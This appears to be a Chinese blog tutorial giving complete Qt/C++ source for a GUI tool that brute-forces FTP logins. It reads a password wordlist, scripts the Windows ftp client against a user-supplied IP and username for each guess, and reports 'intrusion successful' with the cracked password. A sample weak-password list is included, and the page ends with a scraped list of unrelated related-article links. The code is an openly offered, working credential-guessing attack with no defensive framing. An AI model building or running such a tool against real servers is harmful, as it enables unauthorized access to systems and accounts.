C语言在QT下编写简单入侵ftp服务器程序

AttackServer.pro

#-------------------------------------------------
#
# Project created by QtCreator 2019-11-16T21:41:42
#
#-------------------------------------------------QT       += core guigreaterThan(QT_MAJOR_VERSION, 4): QT += widgetsTARGET = AttackServer
TEMPLATE = appSOURCES += main.cpp\mainwindow.cppHEADERS  += mainwindow.hFORMS    += mainwindow.ui

mainwindow.h

#ifndef MAINWINDOW_H
#define MAINWINDOW_H#include <QMainWindow>namespace Ui {class MainWindow;
}class MainWindow : public QMainWindow
{Q_OBJECTpublic:explicit MainWindow(QWidget *parent = 0);~MainWindow();private slots:void on_SelectFile_triggered();void on_pushButton_clicked();private:Ui::MainWindow *ui;
};#endif // MAINWINDOW_H

main.cpp

#include "mainwindow.h"
#include <QApplication>int main(int argc, char *argv[])
{QApplication a(argc, argv);MainWindow w;w.show();return a.exec();
}

mainwindow.cpp

#include "mainwindow.h"
#include "ui_mainwindow.h"#include <QFileDialog>
#include <QTextCodec>
#include <string.h>
#include <QString>
#include <QDebug>FILE *fp = NULL;MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow)
{ui->setupUi(this);
}MainWindow::~MainWindow()
{fclose(fp);delete ui;
}//打开密码文件
void MainWindow::on_SelectFile_triggered()
{QString fileName = QFileDialog::getOpenFileName();QTextCodec *codec = QTextCodec::codecForName("GBK");char *file = codec->fromUnicode(fileName).data();fp = fopen(file, "r");if(!fp){ui->labelShow->setText("打开密码文件失败!");return;}else{ui->labelShow->setText("打开密码文件成功!");}
}//开始入侵
void MainWindow::on_pushButton_clicked()
{if(!fp){ui->labelShow->setText("请选择密码文件!");return;}QString ip = ui->textEditIP->toPlainText().trimmed();QString username = ui->textEditUsername->toPlainText().trimmed();if(ip.isEmpty()){ui->labelShow->setText("请输入要入侵的ip地址!");return;}if(username.isEmpty()){ui->labelShow->setText("请输入要入侵的用户名!");return;}/*open 192.168.228.129userweiyujian111111bye*/char pass[30];char buf[1024];char content[1024];while(1){memset(pass, 0, 30);fgets(pass, 30, fp);memset(buf, 0, 1024);sprintf(buf, "open %s\nuser\n%s\n%sbye",ip.toStdString().data(),username.toStdString().data(),pass);FILE *fp1 = fopen("D:\\key.txt", "w");if(!fp1){ui->labelShow->setText("生成密钥文件失败!\n");return;}fputs(buf, fp1);fclose(fp1);FILE *fp2 = _popen("ftp -n -s:D:\\key.txt", "r");if(!fp2){ui->labelShow->setText("控制行打开失败!\n");return;}int index = 0;while(!feof(fp2)){memset(content, 0, 1024);fgets(content, 1024, fp2);if(index==4 && !strncmp(content, "bye", 3)){ui->labelShow->setText("入侵成功!");ui->textEditPassword->setText(pass);fclose(fp);_pclose(fp2);return;}index++;}_pclose(fp2);}
}

mainwindow.ui

<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0"><class>MainWindow</class><widget class="QMainWindow" name="MainWindow"><property name="geometry"><rect><x>0</x><y>0</y><width>500</width><height>300</height></rect></property><property name="windowTitle"><string>MainWindow</string></property><widget class="QWidget" name="centralWidget"><widget class="QLabel" name="labelShow"><property name="geometry"><rect><x>160</x><y>10</y><width>311</width><height>21</height></rect></property><property name="text"><string/></property></widget><widget class="QPushButton" name="pushButton"><property name="geometry"><rect><x>180</x><y>200</y><width>141</width><height>31</height></rect></property><property name="text"><string>开始</string></property></widget><widget class="QWidget" name="layoutWidget"><property name="geometry"><rect><x>75</x><y>50</y><width>71</width><height>131</height></rect></property><layout class="QVBoxLayout" name="verticalLayout"><item><widget class="QLabel" name="label"><property name="text"><string>IP地址:</string></property></widget></item><item><widget class="QLabel" name="label_2"><property name="text"><string>用户名:</string></property></widget></item><item><widget class="QLabel" name="label_3"><property name="text"><string>密码:</string></property></widget></item></layout></widget><widget class="QWidget" name="layoutWidget"><property name="geometry"><rect><x>150</x><y>60</y><width>291</width><height>227</height></rect></property><layout class="QVBoxLayout" name="verticalLayout_2"><item><widget class="QTextEdit" name="textEditIP"/></item><item><widget class="QTextEdit" name="textEditUsername"/></item><item><widget class="QTextEdit" name="textEditPassword"/></item></layout></widget></widget><widget class="QMenuBar" name="menuBar"><property name="geometry"><rect><x>0</x><y>0</y><width>500</width><height>23</height></rect></property><widget class="QMenu" name="menu"><property name="title"><string>开始</string></property><addaction name="SelectFile"/></widget><addaction name="menu"/></widget><widget class="QToolBar" name="mainToolBar"><attribute name="toolBarArea"><enum>TopToolBarArea</enum></attribute><attribute name="toolBarBreak"><bool>false</bool></attribute></widget><widget class="QStatusBar" name="statusBar"/><action name="SelectFile"><property name="text"><string>选择密码文件...</string></property></action></widget><layoutdefault spacing="6" margin="11"/><resources/><connections/>
</ui>

pass.txt

000001
000002
000003
000004
000005
000006
000007
123456
666666
888888
zhang123
liu123

简单入侵ftp服务器相关推荐

  1. [C# 网络编程系列]专题十二:实现一个简单的FTP服务器

    引言: 休息一个国庆节后好久没有更新文章了,主要是刚开始休息完心态还没有调整过来的, 现在差不多进入状态了, 所以继续和大家分享下网络编程的知识,在本专题中将和大家分享如何自己实现一个简单的FTP服务 ...

  2. JAVA实现简单的FTP服务器

    JAVA实现简单的ftp服务器 通过界面可启动FTP服务,先看看看效果,然后具体代码附后. 点击启动FTP服务后,可以看到控制台: 可以通过get和send以及dir执行相对应的操作. 点击退出按钮, ...

  3. PC上搭建简单的FTP服务器(仅用于局域网)

    PC上搭建简单的FTP服务器(仅用于局域网) 转载请附原文链接:http://blog.fandong.me/2017/07/16/PC-FTP/ 第一步:打开控制面板选择卸载程序(查看方式为类别) ...

  4. 专题十二:实现一个简单的FTP服务器

    引言: 在本专题中将和大家分享如何自己实现一个简单的FTP服务器.在我们平时的上网过程中,一般都是使用FTP的客户端来对商家提供的服务器进行访问(上传.下载文件),例如我们经常用到微软的SkyDriv ...

  5. 在 win7 上简单搭建ftp服务器

    本文介绍通过win7自带的IIS来搭建一个只能实现基本功能的FTP服务器,第一次装好WIN7后我愣是没整出来,后来查了一下网上资料经过试验后搭建成功,其实原理和步骤与windows前期的版本差不多,主 ...

  6. 搭建一个简单的FTP服务器

    本文介绍通过win7自带的IIS来搭建一个只能实现基本功能的FTP服务器,第一次装好WIN7后我愣是没整出来,后来查了一下网上资料经过试验后搭建成功,其实原理和步骤与windows前期的版本差不多,主 ...

  7. windows平台简单的FTP服务器,无需安装

    win平台FTP服务器,亲测无 直接看图: 链接地址:链接: https://pan.baidu.com/s/1bzLPM6_pwhrUkmQcxoWtMA 提取码: b1l1

  8. 简单的ftp服务器(客户端、服务器端、socket)

    查看本机IP地址: 127.0.0.1 服务器功能: 可以获取服务器文件使用get指令 可以展示服务器有哪些文件使用ls指令 进入服务器某个文件夹使用指令cd+文件夹名称 上传本地文件到服务器,使用指 ...

  9. linux简单搭建ftp服务器

    弄着弄着自己就迷糊了. 转载于:https://blog.51cto.com/13956369/2171342

最新文章

  1. 【React踩坑记一】React项目中禁用浏览器双击选中文字的功能
  2. shell脚本获取客户端IP
  3. 【TensorFlow】占位符:tf.placeholder,与feed_dict
  4. (二)AS给button添加点击事件
  5. Mysql 中is null 和 =null 的区别
  6. javaweb功能模块如何合理设计_设计行业如何合理税筹
  7. 用批处理替换文件中的内容
  8. Pulseaudio之load-module加载module-always-sink(十四)
  9. SpringMVC中解决POST和GET请求中文乱码问题
  10. jmeter安装配置教程
  11. EasyGBS对GB35114的支持
  12. python+opencv+百度智能云 人脸识别——人脸相似度对比
  13. python的pyaudio教程入门_Python音频操作工具PyAudio上手教程详解
  14. 2019国人工资报告:月薪过万是个槛?大部分网友表示月薪不足5K!
  15. Date setMonth(date.getMonth - 1)
  16. 基于GoLang的MMO游戏服务器(四)
  17. 河南大学计算机学院魏倩,何欣-计算机与信息工程学院官网
  18. SFF-8472-Rev12.3 SFP+文档翻译
  19. CPLD与FPGA的区别
  20. 中国墨子号卫星首次实现1200公里量子纠缠,震惊国外专家

热门文章

  1. MySQL外键约束(FOREIGN KEY)是什么?
  2. Java集合——(通俗易懂)
  3. 在Linux环境下使用ffmpeg将PCM音频数据编码成aac数据
  4. msm8953-配置I2C 速率
  5. C++学习方法(经典)
  6. 第六届中国软件开源创新大赛——飞桨赛题新鲜出炉,速来pick!
  7. 记一次java实现excel导出
  8. 大型计算机网络主机通常采用什么型,全国计算机一级选择题真题集(1)
  9. android 应用软件注册与自动登录代码
  10. Perseus-BERT——业内性能极致优化的BERT训练方案 1